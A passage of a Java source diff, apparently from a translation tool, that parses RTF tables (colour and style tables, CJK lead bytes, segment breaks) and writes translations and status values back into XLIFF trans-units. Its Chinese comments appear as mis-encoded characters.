//$NON-NLS-2$ + ignore.put("tblrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + ignore.put("delrsid", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * Builds the color list. + * @param group + * the group + */ + private void buildColorList(String group) { + colorList = new Vector(); + String list = group.substring(group.indexOf("colortbl") + "colortbl".length()).trim(); //$NON-NLS-1$ //$NON-NLS-2$ + list = list.substring(list.indexOf("\\"), list.indexOf("}")).trim(); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tk = new StringTokenizer(list, ";"); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String color = tk.nextToken().trim(); + colorList.add(color); + } + } + + /** + * Adds the styles. + */ + private void addStyles() { + String tw4winMarkColor = "\\red128\\green0\\blue128"; //$NON-NLS-1$ + String tw4winErrorColor = "\\red0\\green255\\blue0"; //$NON-NLS-1$ + String tw4winPopupColor = "\\red0\\green128\\blue0"; //$NON-NLS-1$ + String tw4winJumpColor = "\\red0\\green128\\blue128"; //$NON-NLS-1$ + String tw4winExternalColor = "\\red128\\green128\\blue128"; //$NON-NLS-1$ + String tw4winInternalColor = "\\red255\\green0\\blue0"; //$NON-NLS-1$ + String tw4winTermColor = "\\red0\\green0\\blue255"; //$NON-NLS-1$ + String doNotTranslateColor = "\\red128\\green0\\blue0"; //$NON-NLS-1$ + + int code = getNextFreestyle(); + int font = getMaxFont(); + fonts.add("{\\f" + font + "\\fmodern\\fprq1 {\\*\\panose 02070309020205020404}\\fcharset0 Courier New;}"); //$NON-NLS-1$ //$NON-NLS-2$ + fontTable.put("" + font, "0"); //$NON-NLS-1$ //$NON-NLS-2$ + int color = 0; + String style = ""; //$NON-NLS-1$ + + if (!tw4winMark) { + color = getColor(tw4winMarkColor); + style = "{\\*\\cs" + code++ + " \\additive \\v\\cf" + color //$NON-NLS-1$ //$NON-NLS-2$ + + "\\sub\\f" + font + "\\fs24 tw4winMark;}"; //$NON-NLS-1$ //$NON-NLS-2$ + styles.add(style); + tw4winMark = true; + } + if (!tw4winError) { + color = getColor(tw4winErrorColor); + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + "\\fs40\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\fs24 tw4winError;}"; //$NON-NLS-1$ + styles.add(style); + tw4winError = true; + } + if (!tw4winPopup) { + color = getColor(tw4winPopupColor); + style = "{\\*\\cs" + code++ + " \\additive \\f" + font + "\\cf" + color + " tw4winPopup;}"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + styles.add(style); + tw4winPopup = true; + } + if (!tw4winJump) { + color = getColor(tw4winJumpColor); + style = "{\\*\\cs" + code++ + " \\additive \\f" + font + "\\cf" + color + " tw4winJump;}"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + styles.add(style); + tw4winJump = true; + } + if (!tw4winExternal) { + color = getColor(tw4winExternalColor); + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024 tw4winExternal;}"; //$NON-NLS-1$ + styles.add(style); + tw4winExternal = true; + } + if (!tw4winInternal) { + color = getColor(tw4winInternalColor); + winInternal = "\\cs" + code + "\\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024"; //$NON-NLS-1$ + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024 tw4winInternal;}"; //$NON-NLS-1$ + styles.add(style); + tw4winInternal = true; + } + if (!tw4winTerm) { + color = getColor(tw4winTermColor); + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + " tw4winTerm;}"; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + styles.add(style); + tw4winTerm = true; + } + if (!do_not_translate) { + color = getColor(doNotTranslateColor); + style = "{\\*\\cs" + code++ + " \\additive \\cf" + color + "\\f" + font //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + "\\lang1024 DO_NOT_TRANSLATE;}"; //$NON-NLS-1$ + styles.add(style); + do_not_translate = true; + } + + } + + /** + * Gets the color. + * @param color + * the color + * @return the color + */ + private int getColor(String color) { + for (int i = 0; i < colorList.size(); i++) { + if (color.equals(colorList.get(i))) { + return i + 1; + } + } + colorList.add(color); + return colorList.size(); + } + + /** + * Gets the next freestyle. + * @return the next freestyle + */ + private int getNextFreestyle() { + int max = -1; + for (int i = 0; i < styles.size(); i++) { + String string = styles.get(i); + StringTokenizer tk = new StringTokenizer(string, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + if (!tk.hasMoreTokens()) { + break; + } + token = token + tk.nextToken(); + } + if (getControl(token).equals("s") //$NON-NLS-1$ + || getControl(token).equals("cs") //$NON-NLS-1$ + || getControl(token).equals("ds") //$NON-NLS-1$ + || getControl(token).equals("ts")) { //$NON-NLS-1$ + + int value = Integer.parseInt(getValue(token).trim()); + if (value > max) { + max = value; + } + } + } + } + return max + 1; + } + + /** + * Gets the max font. + * @return the max font + */ + private int getMaxFont() { + int max = -1; + for (int i = 0; i < fonts.size(); i++) { + String string = fonts.get(i); + StringTokenizer tk = new StringTokenizer(string, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (getControl(token).equals("f")) { //$NON-NLS-1$ + int value = Integer.parseInt(getValue(token).trim()); + if (value > max) { + max = value; + } + } + } + } + return max + 1; + } + + /** + * Checks if is lead byte. + * @param aByte + * the a byte + * @return true, if is lead byte + */ + private boolean isLeadByte(byte aByte) { + if (srcEncoding.equals(charsets.get("128"))) { //$NON-NLS-1$ + // Shift-JIS + if ((aByte >= 0x81) && (aByte <= 0x9F)) { + return true; + } + if ((aByte >= 0xE0) && (aByte <= 0xEE)) { + return true; + } + if ((aByte >= 0xFA) && (aByte <= 0xFC)) { + return true; + } + } + if (srcEncoding.equals(charsets.get("134"))) { //$NON-NLS-1$ + // 936: Chinese Simplified (GB2312) + if ((aByte >= 0xA1) && (aByte <= 0xA9)) { + return true; + } + if ((aByte >= 0xB0) && (aByte <= 0xF7)) { + return true; + } + } + if (srcEncoding.equals(getEncoding("949"))) { //$NON-NLS-1$ + // 949: Korean + if ((aByte >= 0x81) && (aByte <= 0xC8)) { + return true; + } + if ((aByte >= 0xCA) && (aByte <= 0xFD)) { + return true; + } + } + if (srcEncoding.equals(charsets.get("136"))) { //$NON-NLS-1$ + // 950: Chinese Traditional (Big5) + if ((aByte >= 0xA1) && (aByte <= 0xC6)) { + return true; + } + if ((aByte >= 0xC9) && (aByte <= 0xF9)) { + return true; + } + } + // All other encoding: No lead bytes + return false; + } + + /** + * Parses the. + * @param group + * the group + */ + private void parse(String group, IProgressMonitor monitor) { + initBreaks(); + + segments = new Vector(); + + StringTokenizer tk = new StringTokenizer(group, "\\{}", true); //$NON-NLS-1$ + StringBuffer segment = new StringBuffer(); //$NON-NLS-1$ + String token = ""; //$NON-NLS-1$ + + int tokenSize = tk.countTokens(); + monitor.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_9), tokenSize); + + while (tk.hasMoreTokens()) { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + token = tk.nextToken(); + if (token.equals("")) { + continue; + } + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("{")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("}")) { //$NON-NLS-1$ + skip = 0; + } + if (token.equals("{\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*") || token.equals("{\\*")) { //$NON-NLS-1$ //$NON-NLS-2$ + token = token + tk.nextToken() + tk.nextToken(); + } + String ctrl = getControl(token); + if (ctrl.equals("footnote")) { //$NON-NLS-1$ + // skip until the end of the footnote + // ignore any breaking token + segment.append(token.substring(0, token.indexOf("\\footnote"))); //$NON-NLS-1$ + token = token.substring(token.indexOf("\\footnote")); //$NON-NLS-1$ + int level = 1; + boolean canBreak = false; + do { + if (token.equals("{")) { //$NON-NLS-1$ + level++; + } + if (token.equals("}")) { //$NON-NLS-1$ + level--; + } + if (level == 0) { + canBreak = true; + } + segment.append(token); + token = tk.nextToken(); + } while (!canBreak); // == false); + ctrl = getControl(token); + } + if (breaks.containsKey(ctrl)) { + if (token.startsWith("{")) { //$NON-NLS-1$ + segment.append(token.substring(0, token.indexOf("\\"))); //$NON-NLS-1$ + token = token.substring(token.indexOf("\\")); //$NON-NLS-1$ + } + segments.add(segment.toString()); + segment = new StringBuffer(); //$NON-NLS-1$ + } + segment.append(token); + monitor.worked(1); + } + monitor.done(); + + segments.add(segment.toString()); + } + + /** + * Inits the breaks. + */ + private void initBreaks() { + breaks = new Hashtable(); + breaks.put("par", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("pard", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("row", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("cell", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("nestcell", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("dobypara", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("sectd", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("header", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("footer", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("headerf", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("footerf", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("headerl", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("headerr", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("footerl", ""); //$NON-NLS-1$ //$NON-NLS-2$ + breaks.put("footerr", ""); //$NON-NLS-1$ //$NON-NLS-2$ + + if (!taggedRTF) { + breaks.put("line", ""); //$NON-NLS-1$ //$NON-NLS-2$ + // breaks.put("tab",""); + } + + // breaks.put("do",""); + // breaks.put("sp",""); + } + + /** + * Check segments. + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + * @throws XPathEvalException + * @throws XPathParseException + * @throws NavException + * @throws TranscodeException + * @throws ModifyException + */ + private void checkSegments(IProgressMonitor monitor) throws IOException, SAXException, NavException, + XPathParseException, XPathEvalException, ModifyException, TranscodeException { + monitor.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_10), segments.size()); + for (int i = 0; i < segments.size(); i++) { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + String segment = segments.get(i); + String trimmed = segment.trim(); + if (inExternal && trimmed.startsWith("\\pard")) { //$NON-NLS-1$ + inExternal = false; + } + processSegment(segment); + monitor.worked(1); + } + if (xliffEditor != null) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + xliffEditor.autoResize(); + xliffEditor.refresh(); + } + }); + } + monitor.done(); + } + + /** + * Process segment. + * @param fragment + * the fragment + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws SAXException + * the SAX exception + * @throws XPathEvalException + * @throws XPathParseException + * @throws NavException + * @throws TranscodeException + * @throws ModifyException + */ + private void processSegment(String fragment) throws IOException, SAXException, NavException, XPathParseException, + XPathEvalException, ModifyException, TranscodeException { + String string = XMLOutputter.validChars(TextUtil.cleanString(fragment)); + String segment = ""; //$NON-NLS-1$ + boolean inPh = false; + StringTokenizer tk = new StringTokenizer(string, "\\{}", true); //$NON-NLS-1$ + while (tk.hasMoreElements()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + if (!inPh && (token.startsWith("\\") || token.startsWith("{") || token.startsWith("}"))) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + segment = segment + ""; //$NON-NLS-1$ + inPh = true; + } + if (getControl(token).equals("fldinst")) { //$NON-NLS-1$ + // skip field definition, until '}' is found + // check if there are fonts to preserve + segment = segment + token; + if (tk.hasMoreTokens()) { + String s = tk.nextToken(); + int level = 1; + if (s.equals("{")) { //$NON-NLS-1$ + level++; + } + if (s.equals("}")) { //$NON-NLS-1$ + level--; + } + while (!(s.equals("}") && level <= 0) && tk.hasMoreTokens()) { //$NON-NLS-1$ + s = replaceToken(s, "\uE008", "\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + s = replaceToken(s, "\uE007", "\\}"); //$NON-NLS-1$ //$NON-NLS-2$ + s = replaceToken(s, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + s = replaceToken(s, "\u0009", "\\tab "); //$NON-NLS-1$ //$NON-NLS-2$ + + segment = segment + clean(s); + s = tk.nextToken(); + if (s.equals("\\")) { //$NON-NLS-1$ + s = s + tk.nextToken(); + } + if (s.equals("\\*")) { //$NON-NLS-1$ + s = s + tk.nextToken() + tk.nextToken(); + } + if (s.equals("{")) { //$NON-NLS-1$ + level++; + } + if (s.equals("}")) { //$NON-NLS-1$ + level--; + } + s = replaceToken(s, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + } + token = s; + if (!(token.startsWith("\\") || token.startsWith("}") || token.startsWith("{")) && segment.endsWith("\\")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ + token = "\\" + s; //$NON-NLS-1$ + segment = segment.substring(0, segment.length() - 1); + } + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + } + } + if (getControl(token).equals("pict")) { //$NON-NLS-1$ + // skip the picture data + int level = 1; + while (level > 0) { + segment = segment + token; + token = tk.nextToken(); + if (token.equals("{")) { //$NON-NLS-1$ + level++; + } + if (token.equals("}")) { //$NON-NLS-1$ + level--; + } + } + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + } + if (getControl(token).equals("datafield") //$NON-NLS-1$ + || getControl(token).equals("bkmkstart") //$NON-NLS-1$ + || getControl(token).equals("bkmkend")) { //$NON-NLS-1$ + + // skip field data, until '}' is found + segment = segment + token; + String s = tk.nextToken(); + while (!s.equals("}") && tk.hasMoreTokens()) { //$NON-NLS-1$ + segment = segment + clean(s); + s = tk.nextToken(); + } + token = s; + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + } + if (token.startsWith("\\")) { //$NON-NLS-1$ + String text = removeCtrl(token); + String ctl = getControl(token); + if (ctl.equals("pntxta") //$NON-NLS-1$ + || ctl.equals("pntxtb") //$NON-NLS-1$ + || ctl.equals("sv") //$NON-NLS-1$ + || ctl.equals("sn")) { //$NON-NLS-1$ + + // this control needs a parameter + if (text.matches("^\\s[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ + // has a space in front of the parameter + text = text.substring(2); + } else { + text = text.substring(1); + } + } + if (text.equals("")) { //$NON-NLS-1$ + segment = segment + token; + } else { + segment = segment + token.substring(0, token.indexOf(text)) + "" + text; //$NON-NLS-1$ + inPh = false; + } + } else if (token.startsWith("{") || token.startsWith("}")) { //$NON-NLS-1$ //$NON-NLS-2$ + String text = token.substring(1); + if (text.equals("")) { //$NON-NLS-1$ + segment = segment + token; + } else { + segment = segment + token.charAt(0) + "" + text; //$NON-NLS-1$ + inPh = false; + } + } else { + if (inPh) { + segment = segment + ""; //$NON-NLS-1$ + inPh = false; + } + segment = segment + token; + } + } + if (inPh) { + segment = segment + ""; //$NON-NLS-1$ + } + + if (segment.indexOf("\\trowd") != -1) { + if (isHeaderComplete && !isUpdateXliffRow && lstPerRowValue.size() > 0 + && lstHeader.size() == lstPerRowValue.size()) { + updateXLIFF(); + } else if (isHeaderComplete + && !isUpdateXliffRow + && lstPerRowValue.size() > 0 + && (lstHeader.size() == lstPerRowValue.size() - 1 && lstPerRowValue.get(lstPerRowValue.size() - 1) + .equals(""))) { + lstPerRowValue.remove(lstPerRowValue.size() - 1); + updateXLIFF(); + } + // 一行开始 + lstPerRowValue.clear(); + isUpdateXliffRow = false; + blnCellStart = false; + isCellAddValue = false; + } else if (!blnCellStart && segment.indexOf("\\intbl") != -1) { + // å•å…ƒæ ¼å¼€å§‹ + blnCellStart = true; + isCellAddValue = false; + } else if (segment.startsWith("\\cell")) { + if (!Pattern.compile("^[a-zA-Z0-9]").matcher(segment.substring("\\cell".length())).find()) { + // å•å…ƒæ ¼ç»“æŸ + blnCellStart = false; + if (isHeaderComplete && !isCellAddValue) { + lstPerRowValue.add(""); + } + isCellAddValue = false; + isPar = false; + } + } else if (segment.equals("\\row")) { + // ä¸€è¡Œç»“æŸ + if (isHeaderComplete && lstPerRowValue.size() == lstHeader.size() + || (lstHeader.size() == lstPerRowValue.size() - 1 && lstPerRowValue.get(lstPerRowValue.size() - 1) + .equals(""))) { + updateXLIFF(); + isUpdateXliffRow = true; + } + blnCellStart = false; + } else if (isContainTag(segment, "\\par")) { + isPar = true; + } else if (isContainTag(segment, "\\line")) { + isPar = true; + } + + if (containsText(segment)) { + // if (rowNum == 0) { + // // RTF 文档ä¸æ˜¯è¡¨æ ¼å½¢å¼çš„ + // throw new IOException(); + // } + tidy(segment); + String cellValue = tag(meat); + String value = replace(cellValue); + + if (!isHeaderComplete) { + if (lstHeader.size() == 0 && value.trim().equalsIgnoreCase(RTFConstants.RTF_MODEL_COLUMN_ID)) { + lstHeader.add(value.trim()); + } else if (lstHeader.size() > 0) { + if (mapLanguage.containsKey(value) + || value.trim().equalsIgnoreCase(RTFConstants.RTF_MODEL_COLUMN_COMMENTS) + || value.trim().equalsIgnoreCase(RTFConstants.RTF_MODEL_COLUMN_STATUS)) { + lstHeader.add(value.trim()); + } else { + isHeaderComplete = true; + lstPerRowValue.add(value); + blnCellStart = false; + isCellAddValue = true; + } + } + } else { + if (isPar && lstPerRowValue.size() > 0) { + String str = lstPerRowValue.get(lstPerRowValue.size() - 1); + value = str + "\n" + value; + lstPerRowValue.remove(lstPerRowValue.size() - 1); + isPar = false; + } + lstPerRowValue.add(value); + isCellAddValue = true; + blnCellStart = false; + } + isPar = false; + } else if (blnCellStart && isHeaderComplete && lstPerRowValue.size() > 0 + && lstPerRowValue.size() < lstHeader.size()) { + lstPerRowValue.add(""); + isCellAddValue = true; + blnCellStart = false; + isPar = false; + } else if (isHeaderComplete && segment.startsWith("\\cell}{") && segment.endsWith("")) { + lstPerRowValue.add(""); + isCellAddValue = true; + blnCellStart = false; + isPar = false; + } + } + + /** + * 判断 segment 中是å¦åŒ…å« tag, 例如 \linex0\abc ä¸­åŒ…å« \linex0 但ä¸åŒ…å« \line + * @param segment + * @param tag ; + */ + private boolean isContainTag(String segment, String tag) { + int initIndex = segment.indexOf(tag); + if (initIndex == -1) { + return false; + } else { + String string = segment.substring(initIndex + tag.length()); + if (string.length() == 0) { + return true; + } else { + char c = string.charAt(0); + if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9'))) { + return true; + } else { + return isContainTag(string, tag); + } + } + } + } + + private Map mapLanguage = LocaleService.getDefaultLanguage(); + + private boolean isCellAddValue = false; + private boolean isHeaderComplete = false; + + /** + * æ›´æ–° XLIFF 文件,如果 XLIFF 编辑器在活动状æ€åˆ™åˆ·æ–°ç•Œé¢ + * @throws NavException + * @throws XPathParseException + * @throws XPathEvalException + * @throws ModifyException + * @throws TranscodeException + * @throws IOException + * ; + */ + private void updateXLIFF() throws NavException, XPathParseException, XPathEvalException, ModifyException, + TranscodeException, IOException { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffPath, true)) { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace(XLFHandler.hsNSPrefix, XLFHandler.hsR7NSUrl); + String xpath = "/xliff/file[@source-language='" + lstHeader.get(1) + "' and @target-language='" + + lstHeader.get(2) + "']/body/descendant::trans-unit[@id='" + lstPerRowValue.get(0).trim() + "']"; + + VTDUtils vu = new VTDUtils(vn); + ap.selectXPath(xpath); + XMLModifier xm = new XMLModifier(vn); + boolean isUpdate = false; + // 一个 XLIFF 文件有多个file节点,并且 id å¯èƒ½ä¼šç›¸åŒï¼Œå› æ­¤æ­¤å¤„用 while 循环 + while (ap.evalXPath() != -1) { + String transunit = vu.getElementFragment(); + String srcText = vu.getValue("./source/text()"); + if (lstPerRowValue.size() < 2 || lstPerRowValue.get(1).equals("")) { + continue; + } + String srcRtfText = net.heartsome.cat.common.util.TextUtil.xmlToString(lstPerRowValue.get(1)); + // 比较æºæ–‡æ—¶è¦åŽ»æŽ‰æ ‡è®°-->å°† xliff çš„æºæ–‡ä¹ŸåŠ ä¸Š rtf 的标记,然åŽæ¯”较 + if (srcText == null || srcText.equals("")) { + continue; + } + StringBuffer sbSrc = new StringBuffer(srcText); + InnerTagUtil.parseXmlToDisplayValue(sbSrc); + srcText = net.heartsome.cat.common.util.TextUtil.xmlToString(sbSrc.toString()); + String srcHexString = net.heartsome.cat.common.util.TextUtil.encodeHexString(srcText); + // 替æ¢ä¸å¯è§å­—符 + srcHexString = Rtf.replaceInvisibleChar(srcHexString); + srcText = net.heartsome.cat.common.util.TextUtil.decodeHexString(srcHexString); + + // 由于解æžæ—¶ï¼Œæ ‡è®°å‰åŽå¯èƒ½ä¸¢å¤±ç©ºæ ¼ï¼Œå› æ­¤å…ˆå°†æºæ–‡æœ¬æ ‡è®°å‰åŽçš„空格去掉å†æ¯”较 + srcText = srcText.replaceAll("\n", ""); + srcText = srcText.replaceAll("\\\\n", "\\\\n"); + srcText = srcText.replaceAll("&", "&"); + srcText = srcText.replaceAll(" " + RTFConstants.TAG_RTF, RTFConstants.TAG_RTF); + srcText = srcText.replaceAll(RTFConstants.TAG_RTF + " ", RTFConstants.TAG_RTF); + String srcRtfHexString = net.heartsome.cat.common.util.TextUtil.encodeHexString(srcRtfText); + // 替æ¢ä¸å¯è§å­—符 + srcRtfHexString = Rtf.replaceInvisibleChar(srcRtfHexString); + srcRtfText = net.heartsome.cat.common.util.TextUtil.decodeHexString(srcRtfHexString); + srcRtfText = srcRtfText.replaceAll("\n", ""); + srcRtfText = srcRtfText.replaceAll("\\\\n", "\\n"); + srcRtfText = srcRtfText.replaceAll(" " + RTFConstants.TAG_RTF, RTFConstants.TAG_RTF); + srcRtfText = srcRtfText.replaceAll(RTFConstants.TAG_RTF + " ", RTFConstants.TAG_RTF); + + // æºæ–‡ç›¸åŒæ—¶ï¼Œå†ä»¥ rtf çš„è¯‘æ–‡æ›¿æ¢ xliff 的译文 + if (srcText.trim().equals(srcRtfText.trim())) { + xm.remove(vn.getElementFragment()); + transunit = handleTransUnit(transunit); + xm.insertAfterElement(transunit.getBytes()); + isUpdate = true; + } + } + if (xliffEditor != null && isUpdate) { + xliffEditor.getXLFHandler().saveAndReparse(xm, xliffPath); + } + // saveToFile(xm, xliffPath); + } + } + + /** + * å¤„ç† trans-unit 节点 + * @param transunit + * @return ; + */ + private String handleTransUnit(String transunit) { + VTDGen vg = new VTDGen(); + try { + vg.setDoc(transunit.getBytes()); + XMLModifier xm = null; + vg.parse(false); + VTDNav vn = vg.getNav(); + VTDUtils vu = new VTDUtils(vn); + + String locked = vu.getCurrentElementAttribut("translate", "yes"); + int statusIndex = lstHeader.indexOf(RTFConstants.RTF_MODEL_COLUMN_STATUS); + Set setStatus = new HashSet(); + if (statusIndex != -1 && statusIndex < lstPerRowValue.size()) { + String status = net.heartsome.cat.common.util.TextUtil.xmlToString(lstPerRowValue.get(statusIndex)); + // status 中å¯èƒ½å­˜åœ¨å…¨è§’数字字符,使用此方法先将全角字符转æ¢ä¸ºåŠè§’字符 + status = net.heartsome.cat.common.util.TextUtil.toDBC(status); + if (status != null && !status.equals("")) { + String[] arr = status.split("&"); + for (String str : arr) { + try { + int intStatus = Integer.parseInt(str.trim()); + setStatus.add(intStatus); + } catch (Exception e) { + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("importer.ImportRTFToXLIFF.msg.title"), + Messages.getString("importer.ImportRTFToXLIFF.msg")); + } + } + } + } + // é”定文本段跳过对译文和æµç¨‹çŠ¶æ€ï¼ˆå³ï¼šæœªç¿»è¯‘ã€è‰ç¨¿ã€å·²ç¿»è¯‘ã€å·²æ‰¹å‡†ã€å·²ç­¾å‘这五ç§çŠ¶æ€ï¼‰çš„更新,而åªæ›´æ–°â€œç–‘问行â€å’Œâ€œä¸æ·»åŠ åˆ°è®°å¿†åº“â€è¿™ä¸¤ä¸ªçŠ¶æ€ + if (locked.equalsIgnoreCase("yes")) { + // 标志 XLIFF 的译文中是å¦åŒ…å«æ ‡è®° + boolean isContainTagInXLIFF = false; + AutoPilot ap2 = new AutoPilot(vn); + ap2.declareXPathNameSpace(XLFHandler.hsNSPrefix, XLFHandler.hsR7NSUrl); + vn.push(); + ap2.selectXPath("//trans-unit/target"); + // String tgtRtfText = net.heartsome.cat.common.util.TextUtil.xmlToString(lstPerRowValue.get(2)); + String tgtRtfText = lstPerRowValue.get(2); + if (tgtRtfText != null) { + tgtRtfText = tgtRtfText.replaceAll("\\\\n", "\\n"); + // tgtRtfText = tgtRtfText.replaceAll("&", "&"); + } + boolean tgtExsit = (ap2.evalXPath() != -1); + vn.pop(); + if (!tgtExsit) { + StringBuffer sbRtfTgt = new StringBuffer(tgtRtfText); + int index; + while ((index = sbRtfTgt.indexOf(RTFConstants.TAG_RTF)) != -1) { + sbRtfTgt.replace(index, index + RTFConstants.TAG_RTF.length(), ""); + } + String tgtElement = "" + sbRtfTgt.toString() + ""; + xm = vu.insert("//trans-unit/text()", tgtElement); + } else { + String tgtText = vu.getValue("//trans-unit/target/text()"); + StringBuffer sbTgt = new StringBuffer(tgtText); + ArrayList lstSegment = InnerTagUtil.parseXml(sbTgt); + isContainTagInXLIFF = lstSegment != null && lstSegment.size() > 0; + String sbTgtText = sbTgt.toString(); + + // æ²¡æœ‰æ ‡è®°ï¼Œç›´æŽ¥æ›¿æ¢ + if (tgtText.trim().equals(sbTgtText.trim())) { + xm = vu.update("//trans-unit/target/text()", tgtRtfText); + } else if ((tgtRtfText == null || tgtRtfText.equals("")) && !isContainTagInXLIFF) { + xm = vu.update("//trans-unit/target/text()", ""); + } else { + Collections.sort(lstSegment, new SegmentComparator()); + StringBuffer sbRtfTgt = new StringBuffer(tgtRtfText == null ? "" : tgtRtfText); + int index; + int i = 0; + String tag = net.heartsome.cat.common.util.TextUtil.stringToXML(RTFConstants.TAG_RTF); + while ((index = sbRtfTgt.indexOf(tag)) != -1) { + SegmentText st = lstSegment.get(i++); + if (st != null) { + sbRtfTgt.replace(index, index + tag.length(), st.getContent()); + } else { + sbRtfTgt.replace(index, index + tag.length(), ""); + } + } + // å¤šä½™çš„æ ‡è®°æ·»åŠ åˆ°æ–‡æœ¬çš„æœ€åŽ + if (lstSegment.size() > i) { + for (int j = i; j < lstSegment.size(); j++) { + sbRtfTgt.append(lstSegment.get(j).getContent()); + } + } + xm = vu.update("//trans-unit/target/text()", sbRtfTgt.toString()); + } + } + vu.bind(xm.outputAndReparse()); + xm = new XMLModifier(vu.getVTDNav()); + // æ›´æ–°æµç¨‹çŠ¶æ€ + if ((tgtRtfText == null || tgtRtfText.equals("")) && !isContainTagInXLIFF) { + // 未翻译(RTF 文本为空时,更新状æ€ä¸ºæœªç¿»è¯‘,而ä¸ç®¡çŠ¶æ€åˆ—填入的值) + xm = vu.delete(null, xm, "//trans-unit/target/@state", VTDUtils.PILOT_TO_END); + xm = vu.delete(null, xm, "//trans-unit/@approved", VTDUtils.PILOT_TO_END); + } else { + if (setStatus.contains(RTFConstants.STATUS_SIGNED_OFF)) { + // å·²ç­¾å‘ + xm = vu.update(null, xm, "//trans-unit/target/@state", "signed-off", + VTDUtils.CREATE_IF_NOT_EXIST); + } else if (setStatus.contains(RTFConstants.STATUS_APPROVED)) { + // 已批准 + xm = vu.update(null, xm, "//trans-unit/@approved", "yes", VTDUtils.CREATE_IF_NOT_EXIST); + xm = vu.update(null, xm, "//trans-unit/target/@state", "translated", + VTDUtils.CREATE_IF_NOT_EXIST); + } else if (setStatus.contains(RTFConstants.STATUS_TRANSLATED)) { + // 完æˆç¿»è¯‘ + xm = vu.delete(null, xm, "//trans-unit/@approved", VTDUtils.PILOT_TO_END); + xm = vu.update(null, xm, "//trans-unit/target/@state", "translated", + VTDUtils.CREATE_IF_NOT_EXIST); + } else /* + * if (setStatus.contains(RTFConstants.STATUS_NEW) || + * setStatus.contains(RTFConstants.STATUS_NOT_TRANSLATE )) + */{ + // è‰ç¨¿ï¼ˆå½“ RTF 文本ä¸ä¸ºç©ºï¼Œä½†çŠ¶æ€åˆ—填入未翻译状æ€æ—¶ï¼Œä¹Ÿæ›´æ–°ä¸ºè‰ç¨¿çŠ¶æ€ï¼‰ + xm = vu.delete(null, xm, "//trans-unit/@approved", VTDUtils.PILOT_TO_END); + xm = vu.update(null, xm, "//trans-unit/target/@state", "new", 